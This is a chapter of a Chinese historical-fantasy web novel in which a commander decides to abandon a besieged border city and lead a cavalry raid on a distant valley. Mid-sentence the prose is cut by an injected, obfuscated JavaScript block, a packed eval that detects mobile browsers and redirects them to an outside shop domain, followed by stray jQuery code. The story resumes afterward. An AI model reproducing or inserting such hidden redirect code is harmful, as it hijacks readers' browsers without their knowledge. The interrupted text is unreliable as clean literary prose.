朔方府衙的议事厅里，烛火摇曳。
萧云澜、陆青崖、阿史那云三人围着一张粗糙的木桌，桌上摊开一张北境舆图。地图边缘已经磨损，上面用炭笔标注着密密麻麻的记号——朔方、鹰嘴崖、葬龙谷，还有几条蜿蜒的河流与山脉走向。
厅内弥漫着血腥味、汗味和药草味。萧云澜左臂的箭伤已经重新包扎，白色绷带下渗着淡淡的血渍。陆青崖脸上有一道新添的擦伤，阿史那云的红衣袖口被刀锋划破，露出里面染血的里衣。
“鹰嘴崖……”陆青崖的手指重重按在地图上那个位置，声音低沉，“两万边军，就这么没了。”
烛火在他脸上投下跳动的阴影。
萧云澜没有说话。他盯着地图上鹰嘴崖与朔方之间的那片空白区域，脑海中飞速计算着距离、时间、兵力。前世记忆碎片与今世情报交织，逐渐拼凑出一个清晰的图景。
“狼廷大汗的目标，从来不是朔方。”他开口，声音沙哑却异常冷静，“也不是庞煊。”
阿史那云抬起头，眼神锐利：“那是什么？”
“葬龙谷。”
萧云澜的手指从鹰嘴崖向西移动，划过一道弧线，最终落在地图西北角那个用朱砂圈出的位置。那里标注着三个小字：葬龙谷。
陆青崖皱眉：“可他们明明在猛攻朔方——”
“佯攻。”萧云澜打断他，“三天猛攻，消耗我们，牵制庞煊。真正的杀招在鹰嘴崖。庞煊一败，北境边军主力尽丧，狼廷大汗再无后顾之忧。他可以分兵——一部分继续围困朔方，牵制我们；主力则直扑葬龙谷，与玄微子会合。”
烛火噼啪一声，爆出几点火星。
阿史那云盯着地图，忽然道：“你是说，狼廷大汗和玄微子……联手了？”
“不是联手。”萧云澜摇头，“是交易，或者……各取所需。玄微子需要血祭完成他的‘合道’大计，狼廷大汗需要‘三才’之力，或者至少，需要玄微子承诺的某种力量——足以让他彻底征服大周的力量。”
厅内陷入沉默。
窗外传来伤兵的呻吟声，还有民夫搬运尸体的沉重脚步声。朔方城经过三日血战，城墙残破，守军伤亡过半，粮草箭矢所剩无几。而狼廷主力，最多三日就会兵临城下。
“我们守不住。”陆青崖说出了一个残酷的事实。
萧云澜点头：“守不住。”
“那怎么办？”阿史那云看向他，“弃城？”
“弃城是死路。”萧云澜的手指在地图上敲了敲，“狼廷骑兵速度极快，我们带着百姓和伤兵，走不出五十里就会被追上。到时候，就是一场屠杀。”
陆青崖深吸一口气：“所以？”
萧云澜抬起头，烛火映在他眼中，像两簇跳动的火焰。
“主动出击。”
“什么？”阿史那云一怔。
“狼廷大汗的目标是葬龙谷，玄微子的目标也是葬龙谷。”萧云澜的声音越来越快，像在说服自己，也像在说服他们，“那我们就去葬龙谷。在他们会合之前，在他们完成血祭之前，把那个鬼地方掀个底朝天。”
陆青崖瞳孔骤缩：“你是说……奔袭葬龙谷？”
“对。”
“可我们只有——”陆青崖环顾四周，仿佛在清点人数，“朔方守军残部一千五百，我的三百骑，阿史那首领的五百苍狼骑……加起来两千多人，还要留人守城、照顾百姓——”
“不守城。”萧云澜斩钉截铁，“朔方守不住，那就放弃。”
阿史那云倒吸一口凉气。
萧云澜继续道：“刘振带五百人留守，组织百姓向内地转移——能走多少走多少。我们带走所有精锐骑兵，轻装简从，只带三天干粮，直奔葬龙谷。”
“三天干粮？”陆青崖声音提高，“葬龙谷距离此地至少四百里，沿途全是狼廷控制区，我们怎么可能——”
“绕路。”萧云澜的手指在地图上划出一条曲折的线，“不走官道，不走河谷，走这里——黑风岭、断魂峡、鬼哭涧。这些地方地势险要，狼廷布防薄弱。阿史那首领熟悉草原地形，可以带路。”
阿史那云盯着那条路线，脸色凝重：“这些地方……确实可以避开狼廷主力。但路途艰险，有些地方马匹都过不去。而且，就算我们到了葬龙谷，面对的可能不止是玄微子，还有狼廷大汗的主力——”
“所以要在他们会合之前赶到。”萧云澜打断她，“鹰嘴崖到葬龙谷，狼廷大军带着辎重，至少需要五天。我们轻骑奔袭，三天可到。我们有两天的窗口期。”
“两天……”陆青崖喃喃道，“两天时间，要找到血祭大阵，要破坏它，还要在狼廷大军赶到前撤离……”
“不够。”阿史那云摇头，“太冒险了。这根本就是送死。”
萧云澜看着她，忽然问：“阿史那首领，你们草原上，狼群捕猎的时候，会选最肥的羊，还是最弱的羊？”
阿史那云皱眉：“最弱的。”
“为什么？”
“因为最弱的容易得手，不会让狼群受伤。”
“对。”萧云澜点头，“狼廷大汗也是这么想的。他以为朔方是弱羊，以为我们只会死守，以为我们不敢冒险。所以他把主力调去鹰嘴崖，所以他在朔方只留了偏师。他算准了一切——除了我们敢不敢。”
他顿了顿，声音低沉下去：“有时候，最冒险的路，反而是最安全的路。因为没人想到你会走。”
厅内再次安静。
烛火燃烧，蜡油滴落在桌面上，凝固成白色的泪痕。
许久，陆青崖缓缓吐出一口气：“我跟你去。”
阿史那云看着他，又看看萧云澜，忽然笑了。那笑容里带着草原女子特有的野性：“好。既然要疯，那就疯到底。我们苍狼部，从来不怕冒险。”
“那就这么定了。”萧云澜站起身，“陆将军，你去整备骑兵，挑选最精锐的八百人——要马术最好，箭术最精，敢拼命的。阿史那首领，你负责规划路线，准备沿途的补给点和水源。我去安排朔方后事。”
三人分头行动。
---
萧云澜走出议事厅时，天色已经微明。
东方天际泛起鱼肚白，但朔方城内依然笼罩在灰暗的晨雾中。街道上，民夫们正在清理昨日的战场，一具具尸体被抬上板车，覆盖上草席。血水在石板路的缝隙里凝固成暗红色的冰晶，踩上去会发出轻微的碎裂声。
他走到城西的伤兵营。
营地里搭着几十顶简陋的帐篷，空气中弥漫着浓重的血腥味和草药味。伤兵们或躺或坐，有的在呻吟，有的在沉默，有的眼神空洞地望着天空。军医和民妇穿梭其间，换药、喂水、安抚。
刘振正在给一个断了腿的年轻士兵包扎。看到萧云澜，他连忙起身：“钦差大人。”
萧云澜摆摆手，示意他继续。他走到那个年轻士兵面前，蹲下身。士兵看起来不过十七八岁，脸上还带着稚气，但左腿从膝盖以下已经没了，用厚厚的绷带包裹着，渗出血迹。
“疼吗？”萧云澜问。
士兵咬着牙，摇摇头，但额头上全是冷汗。
萧云澜从怀里掏出一块肉干，递给他：“吃吧。”
士兵接过，愣愣地看着他。
“你叫什么名字？”萧云澜问。
“王……王小虎。”士兵声音微弱。
“好名字。”萧云澜拍拍他的肩膀，“好好养伤。等伤好了，我请你喝酒。”
王小虎眼眶忽然红了，他低下头，用力咬了一口肉干，咀嚼着，眼泪却掉了下来。
萧云澜站起身，环顾四周。
伤兵营里，这样的年轻人还有很多。他们本该在田间劳作，在学堂读书，在父母膝下承欢。但现在，他们躺在这里，断手断脚，奄奄一息。
“刘振。”萧云澜开口。
“末将在。”
“我要带走所有精锐骑兵，奔袭葬龙谷。”萧云澜的声音很平静，“朔方……守不住了。”
刘振的手一颤，纱布掉在地上。
他缓缓直起身，看着萧云澜，嘴唇动了动，却没发出声音。
“我给你留五百人。”萧云澜继续说，“你的任务，是组织百姓转移。能走多少走多少，向内地撤。狼廷大军三日内必到，你们必须在他们到达前，离开朔方至少五十里。”
刘振喉咙滚动：“那……那这些伤兵呢？”
萧云澜沉默片刻。
“能走的，带着走。走不了的……”他顿了顿，“留足粮食和药物，听天由命。”
刘振闭上眼睛，深吸一口气，再睁开时，眼中已是一片决绝：“末将……遵命。”
“还有。”萧云澜从怀里掏出一封信，“这封信，你派人快马加鞭送到京城，交给我弟弟萧云澈。告诉他，北境局势，让他……早做准备。”
“是。”
萧云澜转身离开伤兵营。走出帐篷时，晨风吹过，带来远处炊烟的味道。那是民妇们在为守军准备早饭——也许是最后一顿安稳的早饭。
他走到城墙上。
城墙经过三日血战，多处破损。城垛被砸碎，箭楼烧毁，墙面上布满刀劈斧砍的痕迹和干涸的血迹。几个老兵正在修补一段坍塌的墙体，用泥土和碎石填充缺口，动作缓慢而沉重。
萧云澜扶着墙垛，望向北方。
那里，地平线尽头，尘烟已经消散。但空气中依然弥漫着战争的气息——焦土味、血腥味，还有死亡的味道。
他知道，狼廷大军
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783534|207260||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
正在集结，正在休整，正在准备下一轮进攻。
而他，要带着八百骑兵，深入敌后，去一个叫葬龙谷的地方，面对一个活了不知多少年的老怪物，和数万狼廷精锐。
这确实像阿史那云说的——送死。
但有些事，明知是死，也要去做。
因为不去，死的人会更多。
---
午时，骑兵集结完毕。
朔方城南门外，八百骑兵列队而立。陆青崖的三百骑在左，阿史那云的五百苍狼骑在右，马匹喘息着，喷出白色的雾气。士兵们盔甲整齐，刀弓在身，脸上带着决绝的神色。
萧云澜骑在一匹黑马上，身披轻甲，腰佩长剑。他身后，赵虎带着二十名亲兵，每个人都背着鼓鼓囊囊的行囊——里面除了干粮，还有萧云澈最新送达的一批特殊装备。
三天前，京城来的信使带来了一个木箱。箱子里装着十几件奇形怪状的金属装置，有的像罗盘，有的像铃铛，有的像缩小的风车。随箱的信中，萧云澈详细说明了这些装置的用途——有些可以干扰地脉波动，有些可以扰乱灵气流动，都是针对“三才”大阵的试验品。
“虽然还不完善，但应该能起到一些作用。”萧云澈在信中写道，“兄长万事小心。”
萧云澜抚摸着腰间的一个皮袋，里面装着其中一个装置——一个巴掌大小的铜盘，上面刻满了细密的符文。这是萧云澈特意标注的“核心试验品”，据说能在一定程度上抵消血祭大阵的共鸣效应。
“都准备好了吗？”萧云澜问。
陆青崖策马上前：“八百骑，每人三天的干粮，两壶箭，刀弓齐备。马匹已经喂饱饮足。”
阿史那云也上前：“路线已经规划好。我们走黑风岭北麓，那里有一条古道，虽然难走，但可以避开狼廷的巡逻队。沿途有三个水源点，我都派人提前探查过了。”
萧云澜点头，正要下令出发，忽然——
“钦差大人！钦差大人！”
一匹快马从城内狂奔而出，马上的信使高举着一封信，大声呼喊。
萧云澜心中一紧。
信使冲到近前，翻身下马，单膝跪地，双手奉上信件：“京城急信！萧二公子亲笔！”
萧云澜接过信，拆开火漆。
信纸展开，熟悉的字迹映入眼帘。前面几段是关于莫怀山口供的确认——玄微子确实在葬龙谷布置了血祭大阵，阵眼需要至阴之日才能启动。还有“共鸣装置”的研制进展，萧云澈已经找到了强化干扰效果的方法。
但最后一段，让萧云澜的手猛地一颤。
“兄长，至阴之日，据推算在十一天后。装置核心部件已快完成，我将亲自护送前往北境与你汇合。等我。”
短短两行字，像重锤砸在胸口。
弟弟要亲自北上？
萧云澜攥紧信纸，指节发白。他几乎能想象出萧云澈写下这段话时的样子——一定是抿着嘴唇，眼神坚定，带着那种一旦决定就绝不回头的执拗。
这个傻弟弟。
北境现在是什么地方？狼廷大军压境，战火连天，到处都是危险。他一个文弱书生，带着珍贵的装置，要穿越千里敌境，来到这修罗场？
萧云澜立刻翻身下马，冲进城门旁的哨所，抓起纸笔，飞快地写回信：
“云澈，绝不可北上！北境局势危急，狼廷大军已至，沿途皆是险地。装置可托可靠之人送来，你务必留在京城，安全第一。兄一切安好，勿念。切记，不得冒险！”
他折好信，塞进信封，用火漆封好，冲出哨所，找到刚才的信使。
“这封信，立刻送回京城！快马加鞭，日夜兼程，务必亲手交到我弟弟手中！”
“是！”信使接过信，翻身上马，扬鞭而去。
马蹄声渐远，消失在官道尽头。
萧云澜站在原地，望着信使消失的方向，心中涌起一股强烈的不安。信使能赶上吗？弟弟会听吗？如果他不听，执意北上……
“大人？”赵虎小心翼翼地问。
萧云澜深吸一口气，压下心中的纷乱。他转身，翻身上马，目光扫过八百骑兵。
“出发！”
命令下达，马蹄声起。
八百骑兵如离弦之箭，冲出朔方城南门，向着西北方向疾驰而去。尘土飞扬，蹄声如雷，很快消失在丘陵之间。
城墙上，刘振望着远去的队伍，缓缓举起右手，行了一个军礼。
他身后，幸存的守军和百姓们默默站立，目送着那些奔赴绝地的身影。
晨光洒落，照亮了残破的城墙，照亮了血迹斑斑的土地，也照亮了远方那条蜿蜒的古道。
那条路，通往葬龙谷。
通往生死未知的战场。